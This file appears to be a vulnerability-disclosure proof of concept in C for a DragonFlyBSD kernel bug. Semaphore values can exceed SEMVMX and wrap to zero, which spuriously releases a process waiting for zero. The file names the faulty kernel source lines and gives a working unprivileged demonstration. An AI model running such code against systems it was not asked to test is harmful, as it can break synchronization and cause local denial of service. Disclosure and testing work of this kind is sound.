DF-0046 / sem_wrap.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* * DF-0046 PoC - missing SEMVMX upper-bound in semop/semexit -> semval (u_short) * wraps past 65535 (POSIX/SVID SEMVMX violation) and can wrap to * exactly 0, breaking SysV semaphore synchronization semantics. * * SEMVMX (32767) is exported to userland via seminfo and POSIX/SVID requires * semop to fail with ERANGE when an op would make semval exceed SEMVMX. The * DragonFly kernel never enforces the upper bound: * - positive-op branch sys/kern/sysv_sem.c:848-854 (semptr->semval += sem_op) * - SETVAL sys/kern/sysv_sem.c:530 (semptr->semval = real_arg.val; * real_arg.val is `int` -> u_short trunc) * - semexit adjval sys/kern/sysv_sem.c:1139 (semptr->semval += adjval) * The in-tree comment at :160 admits "SEMVMX unused - user param". * * semval is u_short (:40), so positive ops wrap past 65535. The wrap-to-0 * case is the security-relevant one: a process blocked in semop(0) * (wait-for-zero, semzcnt) would be released even though the *logical* value * of the semaphore is large and positive -- broken mutual exclusion. No kernel * memory corruption (semval is a self-contained u_short field); impact is * IPC-state integrity / POSIX non-compliance / local DoS. * * Build (DragonFlyBSD): cc -o sem_wrap sem_wrap.c * Run as an UNPRIVILEGED user. */ #include <sys/sem.h> #include <sys/ipc.h> #include <sys/wait.h> #include <signal.h> #include <err.h> #include <stdio.h> #include <unistd.h> #define SEMVMX 32767 int main(void) { int id, v; /* ---- (1) POSIX violation: semval exceeds SEMVMX, no ERANGE ---- */ id = semget(IPC_PRIVATE, 1, 0600 | IPC_CREAT); if (id < 0) err(1, "semget"); struct sembuf up = { 0, SEMVMX, 0 }; /* op1: 0 -> 32767 (== SEMVMX; POSIX allows). op2: 32767 -> 65534 * (> SEMVMX; POSIX REQUIRES ERANGE here -- DragonFly allows). */ if (semop(id, &up, 1) < 0) err(1, "op1"); if (semop(id, &up, 1) < 0) err(1, "op2 (POSIX says ERANGE; DragonFly allows)"); /* Two more wrap u_short past 65535: 65534 + 32767 + 32767 = 131068 * mod 65536 = 65532. */ semop(id, &up, 1); semop(id, &up, 1); v = semctl(id, 0, GETVAL); printf("[1] semval after four +%d ops = %d (SEMVMX=%d, POSIX would have " "ERANGE'd at op2)\n", SEMVMX, v, SEMVMX); if (v > SEMVMX) printf(" -> BUG CONFIRMED: semval %d > SEMVMX %d (no ERANGE)\n", v, SEMVMX); else printf(" -> no bug: semval bounded by SEMVMX\n"); semctl(id, 0, IPC_RMID); /* ---- (2) Wrap-to-0: +32767 + +32767 + +2 = 65536 mod 65536 = 0 ---- * A process blocked on semop(0) (wait-for-zero) is released even though * the LOGICAL semaphore value is large and positive (65536). This breaks * mutual exclusion for any SysV-sem user that relies on the zero state. */ id = semget(IPC_PRIVATE, 1, 0600 | IPC_CREAT); if (id < 0) err(1, "semget(2)"); pid_t p = fork(); if (p < 0) err(1, "fork"); if (p == 0) { /* Child: block on wait-for-zero. Should block indefinitely * because the parent will only ever INCREMENT semval. On a * buggy kernel, the wrap-to-0 spuriously releases us. */ struct sembuf w0 = { 0, 0, 0 }; _exit(semop(id, &w0, 1) == 0 ? 42 : 1); } /* Give the child a moment to enter semzcnt. */ usleep(100000); /* Push the semaphore way past 65535 so it wraps to 0. Logical value * is +65536 (held), but the u_short reads 0. */ struct sembuf wrap[3] = { { 0, SEMVMX, 0 }, { 0, SEMVMX, 0 }, { 0, 2, 0 }, }; if (semop(id, wrap, 3) < 0) err(1, "wrap op"); int status = 0, rc; for (int i = 0; i < 30; i++) { rc = waitpid(p, &status, WNOHANG); if (rc == p) break; usleep(100000); } if (rc == p && WIFEXITED(status) && WEXITSTATUS(status) == 42) { printf("[2] wait-for-zero child RELEASED after wrap-to-0 " "(semval logical=65536, u_short=0) -> BUG: spurious release, " "mutual exclusion broken\n"); } else if (rc == 0) { printf("[2] wait-for-zero child still blocked (correct; no wrap-to-0 spurious release)\n"); kill(p, SIGKILL); waitpid(p, NULL, 0); } else { printf("[2] unexpected child state rc=%d status=%d\n", rc, status); } semctl(id, 0, IPC_RMID); return 0; } |